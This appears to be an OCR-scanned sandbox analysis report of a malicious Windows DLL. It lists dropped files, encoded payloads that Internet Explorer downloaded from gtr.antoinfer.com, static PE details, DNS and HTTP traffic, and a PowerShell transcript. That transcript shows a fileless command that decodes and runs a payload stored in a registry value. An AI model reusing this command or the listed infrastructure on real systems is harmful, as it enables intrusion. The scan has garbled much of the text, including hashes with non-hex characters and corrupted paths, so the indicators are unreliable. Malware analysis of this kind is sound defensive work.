Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Program Files\internet explorer\iexplore.exe

Microsoft Word Document

dropped

28132

1.9171253259160579

false
96:1r0ZTQYBEWBSgjB2HGWEMoCmYBPX+QpOAyyBPX+QpgA:roZTQY6WkgjB2HGWEMoCmWOFAYMONA
15FB09671EA9D7BCD2032A803CAAAB7B

6CB1FFIF7C4769023A5382024672C0CBIC43BF4A
5ACAA36620FEEEE4CDB4B2B90BEC25A09881895C9EABIOBE429D2A71CBFF2313
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{08A52036-E342-11EB-90E4-ECF4BB862DED}.dat

SHA-512:

Malicious:

Preview:

BBD4FEEAS5B1E24F6E1D10EBBC44FCB795AA65D33CB9ADC24BADB7EDC641AC690673A38857C7E2E4DA4D9BE750770EC23E194C7A05FECB5A318EAC927D9B
41E92

false

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\OW10PBUV\6H[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

downloaded

2472

5.982250980856711

false
48:FzX8sjH5x7+2M1nCsfhzQTO0ws/egRj6MVIf7IEINXYF09j0XA33naMnjX:FT{jLOCSUSyeKjZIfkEINXSC3aMjX
8E1C6B3059991E2EE6734352372190BB

B594480C76884B268FA01093D5635F0C40E41092
AE34168CF0OBC6434C50CF68DE702A6DDBFAF505B119089486A7658D124BB001D
DA2D51108B25B86E8313FD9CC215C4298311566C2716714F88049877A18302411983EFD97BBF2D0OFA16949AFE289B7D14D1BA48E82C881COF81E455C7F8D8312

false

http://
gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFeOhTIDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2FaVCd/bple8aV2PI_2/FY50P4000f6/GeARX2_2FIA_2F/2BhurwB
e_2BrsQ1B1bUK7/wilinEmmYIdazZ6lz/71Mw33QzoCtr9s9/ULFilVIFcIxUDJIsEo/crrSiFkaK/6sQSCYti3ETwug18IBlk/b94MQVqQ698rgMibrOo/RMBVkg8AFrK4uT2Dg6p0O0
6/0dceZPFn8QQWz/SARUSHI/dirY BIB3Uuu4livFAYs9FmV/Pmcsy6YvBv/LcgigflbUTKnYCeNL/dikDMv66Bty/6H

Z1KokXyg7zZIFGYQXU1//s0rd/IBLvyGgtRxZgWMI1V/U2PG7QQy/BEdT8S/5Uh7rd7FFwividpcXW9vybt6VTL+c1f7SjgBmFLUdLAQ]3XEgLI7bc5AY Ymkb+184Dy+az
MWNLe4VbHb7/V25QgsAZbvYxZazxX4VnIWMQelu8cdbn3J3zsVGoUs+pznjs6RpJ/uCwgLP78pZIsRYcVAtEBK7QRjmSKzHTkMaBPA403iJWuBhi2BCiXxMZ3jDmXsczFc
dLiniociB+Qllj4FcaRrR3KJbvLSwe2kFND57LHE5sUAFwW69HAI6uUINImaDjY GHVgUOar2wnS/uOf5yG QemK1/ItK Pyw/NJIXhIPT5lelZDgK2RfRKkcflVT3+4gMvuil 70
LeZrTKiFve6da8eCbOVrOHYKtak2Y5LPY5IC92GaU41ghuCGhbey3ko3KIUmpN5wEoIxclS1B1BO5CgBelLzvsvIBrmFQftuKJIrYUlgcRAIINLO1mkka6FvBSrE4NoNNih
7FU3+BXYr67Dy2rozMu4gs3E7TdFpY5vYfHDIToQj4HPWNXxir27HgmOAjgMhDyMwNtyAY O/IIn0OLXCQpo9GréauuMo5vL2kKcCOjlIAKr6dgzpbisVPVor+pAFvZuZba5A
oclgerTleQW2moS3aji421HODF4SqvuZXo6yyNNONXdcG/SfOPkzgludBolV8S0j7sbdimG1cKKrhkEaul0uMHajX16JInIFxOjCyfubC7xvavS4YbssN4Z8tlelUlgqwvX
bltoKyZvux949sg9bXLGG5yNNeedq0vIk9oCDybFOWkolPUOMB8CcKbEjJABBellk9653h60VrU+/rRIXQg7I7kPA9z83gQOWhbnPmMCV6g4IAHATGecSWjeQZlysLzET7EaL
10+aPFvX/6y+SHUt7KOaX8dU7U4tEuLNLAQGYmwwEXO+ky/umQVCZM5hMFaU+8vC7Hvzuj/bg5yZcHxjCtHmrIHG2I

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\MEEXW4H4\a[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

downloaded

328568

5.99992433206317

false

6144:vqe6UKr8LFIthaPmIS35k2kvxzJ5Zkrbnj8fY gx28tGoi881fzWzed1mzzR:CxNr85h2zpk2kvxBAnj8fYy7tiqfzvat
B7D8DD06E95C26878DDED89BC8B1C351

ABE87B3BBF15879B24295878FCD47FEAFA79522E
A9A5A7D23082BFFDBD2C5C6A5D4F51CA7831E24A265C7AC403B3A61E92156B80

D7867439E7923E9606F3E18C6F6DCABB32E2F43C0CA88D7DBD072C9BA0SBBECBI9D833E0SEE9C2A0059E90C39B13D078C4D359C9379EEB30B7116AC54E92D
8E

false

hitp://
gtr.antoinfer.com/PI9Eori10/TWROVDxUXG0e5P8cvyge/ZU2BrrTTOUbIVaqjDG4/pcVLHKQ_2FTIEKMel9p0c/uvwwfHN2PMXNEY/YMBXxD3SD/aXgaxQm1VvX_2F13h2xPwK
_12Be7i5I50E/ATENFq4ZupT65ephY/chqySvAke9ce/Kevi8ZZIMEj/1Vad2IfLQ3XJId9/R1ILLJKYWIWCsGvDIqysG/bJCIXC_2Ba_2FKBG/1sCib9KWGT90060/pVIAR6X7{8e8p
X6JIMX/r5dwKRidW/K11bWM2mJIHwpxkeOpFZf/WuqCfL3c8woO2jHIv7x/0i4kjIDfCy176FSPYyJZhM9/EN_2FkQv43sxx/a

VYSzTEOLdssugAadjXV2f21toZiXu7vuhsMdrnGPjAxtX2kFNyYWrc5XZ+IN1TX/7eKVdHh1laDGazEV5J3x320TIXw/wHOUN1+wZBvJadB3JB1Ymk8L1KsakKyhbueQm2X
+2tJ034Sfj2UBIgY Myf3AHBwIdt6n6mkMKaW+xWCNgc7fwOgmkMkiTGWmgTv+P2SdAejDP4iS3CozId Ajl7KhyFHRtSWY aBr3gSFaA5n2CLLIPOWVYOgMHS
nNR31TXYKNQnyP6ZIlg/qYyfmrGJZuciVsKAahcfr2iLkr14W7jkLzDwUyjDZIIsUORBzOyuHzjos7Kk8H8EJrn8fDFXdPZiIDRCKjQOJLVshDpxF20Pft8+ewyuX7mWs+A
X9U2RA7Eq95hYPZt3EQhNqUDRCBZHOUMRID3e/4Bz7+9hs1kvEfkswQJgtaczzlcdeC75KkdxbKQBvhNuwPg3SgQdzdT/0zZQbgKsqqGelIQv3zQGS7PTtow
ZjyzZ1URPeQVMr7p0bMgV3a4VowK6UOurdRBe1nh5zJWIGfOIChgWolLbm4Y5VXVbtju2MRnImfgGKhmM6dXal4DrNjg3bEqgaYiEydHw4mipiHSIcd3gV4p4A962Vg23YVA
CKOVYVbUgKnbwpfrqHejHtUA+OfV+EIIVAz4d8UinaHY6pvP TdiB75RWZSZQqOVAIUCEOXACZKJIfCh/QtmWxOE360A05N8/0omTH3q3ps9LpTOIa49QCgybE4KK7XBHAQ
3hy1/0ggM37Kx020YNbU8BG6LzrMGOwio1tk5QABva7SGLQkSW7X9rGairY4APa9Y/mPOyaipQBlugDLS3a0pVwq0JegfpIx8QORVIKAcVISYrAAy+yHIGBovy4jrY Bwaqr
wGV8biCBIMcEg5uE9GeD0OgwSfza/H4dhJ683b14AvjRiXTannOxUf5JLONIUDIG24RHnlw23wrdcMw3SoVboDdOhfzZNEuYQt70ZvK7gIPZ4RMj

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\WJ8I20L4\SgPLk[1].htm

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Program Files (x86)\Internet Explorer\iexplore.exe
ASCII text, with very long lines, with no line terminators
downloaded

258252

5.999862423730958

false

6144:63yTsQRRxJuptv7lwrMK10B/pBavL9INWGR6nr0Bn/+pd:4mJz2pt7S4/pAvh88r0J+pd
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\WJ8I20L4\SgPLk[1].htm

MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

IE Cache URL:

Preview:

A7136BB6A6F409A7201BACSE8F767497

B4FF2BE05450D481F423E57DB2EC58CF38D5AD64

148AECDD4400AD290369FE9028D272C1BB96B6173B1489910C1E3472BB4089ED
16D65E2CE3C9F55D12B91126ED848070D51F85E8F1D7BBD85126632257994E94A49BB2AF5AE7C91DEFS5C8ABD703A8071375A7041EADEO7733AA95336B45DBAY

false

http:ff
gtr.antoinfer.com/4khtvsQOu/_2BibxIs4V27IXxwFbLo/MVAeZiN_2BcOXrnrV8V/qJdINxZ6Bgv5NEeycuUSRT/xP63sFYeQbF7V/py7Hi7ch/9YfAdWQtdGthxte Togc4W5n/e4
pHAIMmwQV/Xb_2ByBc4q7LehmCP/qbPYu2dVkV6R/HcylsChDIiT2/MxSzZGJIm_2F7kQ/SwyqdbxYkDgH_2Fgkftiz/sgfsFtj_2BtQQ2R6/R1qwsigRxvimwz6/pMeyM_2FrLNrlo
ESyl/5_2BeunOI/9zIfRQun7InhbsKL_2FH/F_2B8nMOma_2F2fjvu5/b18nwlgkOTg_2FO0CTqoQIr/cSQsg2LKmpell/kDimvPNH/SgPLk

wrtAzu35imLmg50eYc6CeBah/8sU00BfQOYdVam7VIDCg+XUzUFG4a2t00q6fch07qy30we4ZBmrQ/8kkSj7I19d5NIiwo45NKQt1HQ5zBBG TxkM3I3jBB3SuvOuUSWcz/E
+i+iM5Mde92080AW9/hOMNQ2sF+jxZUnLboLARBDUR3n7DsqKuJw75Ec2rvrw2yB90abkghozXb38wUn46Ztfy3rfp+xBLg/fOO+Tfz1RkgMQcoVBcfgnp++AHLtIKcozr
B9ygOjHMDaLUQLOgVILag7Qfh2w697gmnnl0zkx70bRjEfVu03aczUVfLAXKEpFMpRBGPH/FONE1Fh5TzFoCKnnpA++nlvQQpFHY2CSIPO5pjQfZAVW1JAgf1zPDdDQsi
1ZAyiizCLDmM81dpowOT/PVc/XK5ftzOSlaA+hfRGIw6ba5+PVbj2fFhOnGuTiVRKAMZR2BbeXz3RL/84WYU4wRxzM1Kz+b0fHXenanC3Tk2w4CUN1ywiPN2rFWZlyDzTeg
HhAQYpD2RJIPxuOPIMBr177IVt+ftjdDw30Yx0/bTuCWGmIOKaT 1lis6LpoN19zaT+7cBDL3GX6mk0OgNj+Ho8BMvJIZKL+7VpMfciZgO2XWnPsMRBNO/is7dfawHsU4U0V4s4
AmFOC4WpUuTVkkwo5MoG70YWoyPHYhSKIPLpj7iscOYyB8xGpPhARSvwuT+0Q1V2LsLiq9VqIXrmeNtBUE7QFfPBIsmOybHTAXDzBAp+Rrc9dbjpgsdnBI1Z
0EVXurZwVBqwbvUjWKBRZluvjvp++cJdwgMEA1b9+1amgGC5Phr5Zt0dU2S/WtONOVXwuoVHeOdICFyvJlal2Wpgrw3UPNMsEVCTKEUWLS7BMpv8OpB9xFeL
drZzpXBbff4w0QfnYbTilngaD/VhyLJf7tpj689TyeHIX1INRmMDgVvVDi3igz9G|6waFt6rH80OS9SIpUQEihbg71++h+0Ut7612e+oMhvhXIDBpn

C:\Users\luser\AppData\Local\Temp\JavaDeployReg.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with CRLF line terminators

modified

89

4.330498848364286

false

3:0VXU7UHbwap4AW8JOGXnE7UHbwaUUCN:09U7UOHE7UOf7
8923686368EACFOD35166E8E5FBF6230
BE12CCC90F24111C713651DDF966D17C036DD973
EA63ED37CBCC00447D9111C63DFBF458960F199F4AD3B4F4D115694A9C12BBCE
9499CCCB741DA0E3BD3718A7A65DF5B2F426618372BEFC370E3E85DE26115874282C39F30743120C7AEC8091D6E7F92E3984C4114A7C2016A3EAA4CF23B65B5

false

[2021/07/12 11:50:42.133] Latest deploy version: ..[2021/07/12 11:50:42.133] 11.211.2 ..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4pzye43c.itc.psml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6BB04EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EEL172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

false

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_a5sxjpcl.1lo.psl

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

false
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C:\Users\user\AppData\Local\Temp\~DF5A692A62F2D75F35.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

data

dropped

40137

0.6697240449739938

false
192:kBgoxKAugR+CkuHOgmgFURsIbDmgFURsIbwyqFURsIbG:kBgoxKAugR+CkuHONg2sRKg2sRFq2sRG
E80FAFAEABFED1C29C3CA5968A199FDE

A5C7BB98C1ABEAEF1F4461A6075E3DD16ADSEE7B
AEA195DD54E3F699417CF437DD647A6E463CF5624A063AECA8015BE47F6392E9

E57AF1D5E2DFCE276D807D8177E9AF147E92F37EBF49A5942FFAA06D71DBCD328CFF3905B86COFE80BD2D6ASAD743AC712F2A21773A060DB7731D6B507D4CT
1A

false

C:\Users\luser\AppData\Local\Temp\~DF7A8FA428499FD9A8.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

data

dropped

40137

0.6697699089679146

false
96:kBgoxKAuvScS+AGcdGYmYBPX+QpsmYBPX+Qp9yYBPX+Qpl:kBgoxKAugR+AGcdGYmWOPmMWOUyWOy
BC10A728E38CFACOA1509E546E713776

1D1EO3EF509A195186CCB8F16BEES555B48C31CD7
25D4622234AA3791B8805E1DEB28A52099893FCFI9F10787BE71DE4CFB4211DE
07F31A44C2A7CA1CD9580022028A433B5EFA09FAAEDAB47033165EE087F4D62F260E16936CC6DEF496959CFF87BIF7C251667EF5274C97C9AFEB52AB477C001

false

C:\Users\luser\AppData\Local\Temp\~DFA4D21E6A958BB9F9.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

data

dropped

13269

0.6181447336708943

false

24:c91Lh9ILh9IINYIINYIoiF9loe9IW2MSMX5c:kBgolp/THXa
FC92A335C1D62A2456E6673361548605
16C2375D973B93D6000EC138D1BE44A5F96A764C
ABD1F45EFDA0921733F93138393A182CACF6AATFIF3EG8F6C1612818628F58BF
0C3137E8787990F0863315A1D55A2FA178D49A6FE6855FD20A7ABE9223A90A140F3BF880F44768675540D3EFF984628A5C568DDFCCDECE2A6391B387C6580C2E

false

C:\Users\user\AppData\Local\Temp\~-DFBCEA36BA3DC5EC74.TMP

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Program Files\internet explorer\iexplore.exe

data

dropped

40185

0.6768074571934124

false

96:kBgoxKAuvScS++4y70RB6TOUXB6TIU4ABETIUV: kBgoxKAugR++4y70Rg6Xg6496V
E5503B8DF96487C6F3B8C79F062AB7C6
B23F6ADD6145A767329BD91639752F6E116135AA
0BDOE7F4D99A9E2927ADAF02B0OD990E092D55DCFFFE3862EA8CAB98AEA446B56
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C:\Users\user\AppData\Local\Temp\~-DFBCEA36BA3DC5EC74.TMP

SHA-512:
Malicious:

Preview:

307538560993B495F84273452613079855E4BD9EF9AD181371370F9DCECEBB208030D85B5A023BC621CO5FABALE32F2F1141A27C146E89887089B8FEAD718D84

false

C:\Users\luser\Documents\20210712\PowerShell_transcript.992547.S0FaV4MQ.20210712115054.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

976

5.476465222046756

false

24:BxSAilyxvBnkx2DOXUWOLCHGIYBtBCWjHje TKKjX4Clym1ZIXgMOLCHGIYBtBW:BZiGvhkoORFeVjgDYB1ZUOFeW
389BE26287790B28A795E72BC5B734EE

CA35270C1396ED1DB280A9FC092841867CA3B713

BC159B05A675680D507C0498115706 DESDF0906B98CBC8EB88B48FEAC1AD32E6

EE6113DC38B4193015353FF798A83F0465DA3AFA713E1698B5C4CD9C96419AD4ACDDO5SD9AAFA017DIDAOBE46631D07657DB1652B32FASF80EEF3AD476A2B2A4
2

false

ks Windows PowerShell transcript start..Start time: 20210712115054..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 992547 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex ([System.Text.Encoding]
::ASCII.GetString(( gp HKCU:Software\AppDatalLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15COBEE7550).UtilTool))..Process ID: 5004..PSVersion: 5.1.
17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVers
ion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1.. ..Command start time: 20210712115054. ***kxsksiki
wrkxkkxkk PS>iex ([System.Text.Encoding]::ASCII.GetString(( gp HKCU: Software\AppDataLow\Software\M|crosoft\86E(323E5 2D5A-A875-E71A-B15COBEE7550). Util
Tool))..

Static File Info

General
File type:

Entropy (8bit):

TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

PE32 executable (DLL) (GUI) Intel 80386, for MS Wi
ndows

6.767213059044483

e Win32 Dynamic Link Library (generic) (1002004/3)
99.60%
e Generic Win/DOS Executable (2004/3) 0.20%
e DOS Executable Generic (2002/1) 0.20%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
1j3H69Z3l0.dll
512000
0Obb29556ecelc51c751ch4e7c8752dde
324cc356a56c68e51f09348e91405001e68e4a08

af1b0523624692a67fcd871558b24efa2be44a4b29f88112
e5c2d2295a1dc4252

33d9a2b92f209ed7fea50bc388d34d7cce773217f73d58f
da98ad94c13cd64621b92525602e87c016bab424f438ae
96655af8d8250d642d9d7fc7a080f936¢79

12288:pvIT2EsAw96epX+uHfa7Z5svN/RM2ZcV8TFITz
hz3VFVUJcXH4nw7P1N:ZsN96cfKFVUJIQu

is program cannot be run in DOS mode....$.......
f.fzf. fzf. fzf. A .g.".g8. A .g. f}. f.fv.f.g.f.
.g..f..g..fRich..f....... PE..L..

74f0e4ecccdceOed

Static PE Info
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General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Rich Headers

Data Directories

Sections

Name  Virtual Address

text 0x1000

.rdata 0x51000

.data 0x7b000

.reloc 0x114000

Imports

Exports

Network Behavior

Virtual Size

0x4flc7

0x2936e

0x98ad0

0x3530

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp

Jul 12, 2021 11:50:35.319444895 CEST

Jul 12, 2021 11:50:38.794644117 CEST

Jul 12, 2021 11:50:43.011351109 CEST

Copyright Joe Security LLC 2021

Raw Size

0x4f200

0x29400

0x1000

0x3600

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

Xored PE

False

False

False

False

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

0x10340e7
text
false
0x1000000

windows gui

32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

DYNAMIC_BASE, NX_COMPAT

0x5B2B4D21 [Thu Jun 21 07:00:49 2018 UTC]

o o O o o o

df95180b6da9d16ch69b63ca8bb7f332

ZLIB Complexity

0.639085332741

0.621620501894

0.2373046875

0.748191550926

Trans ID

OxadOf

0x357d

Ox5e7e

File Type

data

data

data

data

OP Code

Standard query

©)

Standard query

©)

Standard query

©)

Entropy
6.65199808864

6.09428205246

3.49060216778

6.69710092848

Name

gtr.antoinfer.com

gtr.antoinfer.com

gtr.antoinfer.com

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA,
IMAGE_SCN_MEM_DISCARDABLE,
IMAGE_SCN_MEM_READ

Type Class
A (IP address) IN (0x0001)

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)
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DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 12, 2021 8.8.8.8 192.168.2.3 0x78f No error (0) prda.aadg. www.tm.a.prd.aadg.traffic CNAME IN (0x0001)
11:49:31.010245085 msidentity.com  manager.net (Canonical

CEST name)

Jul 12, 2021 8.8.8.8 192.168.2.3 Oxadof No error (0) gtr.antoin 167.172.38.18 A (IP address)  IN (0x0001)
11:50:35.333022118 fer.com

CEST

Jul 12, 2021 8.8.8.8 192.168.2.3 0x357d No error (0) gtr.antoin 167.172.38.18 A (IP address)  IN (0x0001)
11:50:39.075265884 fer.com

CEST

Jul 12, 2021 8.8.8.8 192.168.2.3 0x5e7e No error (0) gtr.antoin 167.172.38.18 A (IP address)  IN (0x0001)
11:50:43.024909019 fer.com

CEST

HTTP Request Dependency Graph

e gtr.antoinfer.com

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.3 49747 167.172.38.18 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes
Timestamp transferred Direction Data
Jul 12, 2021 5227 ouT GET /4khtvsQOu/_2BibxIs4V271XxwFbLo/MVAeZiN_2BcOXrnrvV8V/qJdINxZ6Bgv5SNEeycuUSRT/XP63sFYeQbF
11:50:35.378191948 CEST 7VIpy7Hi7cb/9YfAdWQtdGthxteTogc4W5n/e4pHdImwQV/Xb_2ByBc4q7LehmCP/gbPYu2dVkV6R/HcylsChDiT2/

MxSzZGJIm_2F7kQ/SwyqdbxYkDgH_2FqkftiZ/sgfsFtj_2BtQQ2R6/R1qw5igRxvimwz6/pMeyM_2FrLNrloESyl/5_2BeunOl/9
zIfRQun7InhbsKL_2FH/F_2B8nMOma_2F2fjvu5/bl8nwlgkOTg_2F0CTqoQIr/cSQsg2LKmpell/kDimvPNH/SgPLk
HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: gtr.antoinfer.com

Connection: Keep-Alive

Jul 12, 2021 5228 IN HTTP/1.1 200 OK

11:50:35.856986046 CEST Server: nginx
Date: Mon, 12 Jul 2021 09:50:35 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Data Raw: 32 30 30 30 0d Oa 1f 8b 08 00 00 00 00 00 00 03 14 9b c5 92 ac 40 10 45 3f 88 05 6e 4b 5¢ 07 b7 66 87 bb 3b
5f ff 78 ab 99 e8 98 80 aa 22 f3 e6 39 44 cf b5 ee cc 7b a0 78 33 e8 ¢3 82 9b c5 2f 23 b8 82 4d 6a 90 da 7c 08 62 4b db fc
e541 3290 41 cf 73 15 10 f9 af 2f 4a 58 82 ec 10 b4 10 65 96 42 e4 f2 a0 d0 55 60 31 3b ac 36 48 75 9d db 92 3d 9d e3
46 df 5¢ 13 86 1b 9a bd c3 b2 8d bf 2c 2b 79 77 f7 87 2a 68 ch b2 a8 7b 9c e6 el bb 61 f6 82 02 d0 00 cd 1f fe 97 17 34 02
51 13 13 d2 60 6d Oe 86 8d 6¢ 22 dO de b1 3f ea €9 a4 33 Oe cb 1f Oe 3a 92 fc b6 68 87 7a 91 b8 90 21 eb b9 5e ¢8 c3 d2
66 92 76 4b 3d bd 51 8a 52 97 3f 62 44 bc 97 0f ba 96 33 70 b3 7a 05 96 a6 09 78 e5 0b 3b 5d f5 67 67 53 c0 66 e5 32 ce
00 c0 c8 fa de 6b d9 f4 ae 2c fd 54 66 2b ff f1 89 ee db 3a 54 05 8a 9e 54 a4 5d d6 c8 45 d0 64 35 8c 63 0f bd dd 4d 42 a9
d3 0a 65 70 40 68 92 bd 7e 50 b6 3a 16 69 c2 2c fe cd Oe 2b 59 32 28 9a 86 00 8b 35 ee bd e2 c4 69 e3 38 33 00 30 2a
a7 6d cf a2 fc 43 38 b7 b7 4c 7c 6e ed 32 66 82 10 56 99 aa 84 5f 8b cf 79 7b 6b 94 98 79 9a e6 €5 74 7e a0 e0 7c 9e 2e
d3 03 ad 20 03 23 0d 2f f7 d7 74 95 84 01 ea d2 91 94 8b 48 13 1c b0 82 b4 45 4a bl 36 47 €9 f0 9a c0 e9 98 21 76 10 36
2d a2 17 75 74 90 c2 c2 9f 8f 5d ce fd fe c1 da Ob a4 50 29 47 c5 98 8¢ 1c ea 75 ¢8 85 71 be 01 3f 57 63 19 c8 2a 86 71 ff
f0 af 57 54 72 cd 2c bf 99 47 1c d5 ba Of c8 ea ff d8 15 26 c9 3e d8 81 72 6f 73 fe 42 al df 0d 81 a9 77 70 al 34 f4 a6 96
78 70 b3 11 fa 3c 19 30 fd 26 1e 40 66 2c af a3 52 44 Oc 1d 54 19 2d 20 4f 14 fb 77 aa bl a6 03 64 30 ff 95 59 13 2f 26 12
85 a3 b5 fd 39 ac 61 82 cd 46 e6 65 72 c9 9b 8f f9 50 80 6d 18 33 88 10 87 85 b3 7f 78 41 d7 5d 13 fe 37 49 a4 f9 Ob a7 c7
92 7f b5 ab 35 96 3e b7 64 b3 65 €6 ef 61 a9 5b 9a ad 9a 71 dc f3 3c 3¢ 00 b2 el 00 d1 37 bd 59 8 60 51 a2 75 28 8c 9d
505 d2 16 4b 8b ed b7 c1 7c 52 d9 63 22 fe 65 99 19 70 d6 8c ce d3 76 ae b6 7c 64 15 38 9e 84 20 3a d6 f8 0a d8 e5 4a
4f bf 0d 35 d6 89 fb e3 6¢ cf af 48 32 35 bf aa 3f 81 81 53 1a 80 93 al 92 38 dc aa 57 3c de al dc 47 5¢ 30 dc 21 03 Oa a2
eb 98 02 b9 30 73 85 13 9f 53 ed 13 18 09 e7 6a bd 50 df 32 fe 36 el e4 bc 4e 38 42 dd 25 d9 bf f9 a4 cc 99 a5 6f bl dO {3
35 9e 23 36 2d 4b ec 82 ec 72 fc a5 5e d3 8f 55 c2 83 41 fd e8 6a 49 ee 73 4b 50 b4 f7 14 32 1d c1 86 33 f0 d5 19 fO Od
da 54 2f 2d f5 c4 95 88 3b bl ca 94 69 ba b4 db cf be 2d 34 75 ba 90 30 00 d4 00 e4 ef 24 01 23 05 30 fd d5 67 1d 29 3c
3b 8f 5f 35 37 51 88 0f e2 75 27 da Ob 1b 83 23 67 e4 €0 07 d8 34 0a f2 3b Oe b7 d7 f6 20 2a 47 db 22 65 3b d3 75 e0 29
48 85 e0 9a b5 5e 7f 1f ff 4e 83 a0 b3 0a 03 fb 50 a3 2c 7e 62 39 28 a0 4a cb b5 a4 04 45 fb 50 a6 Oc b6 aa 18 8 e9 5d f2
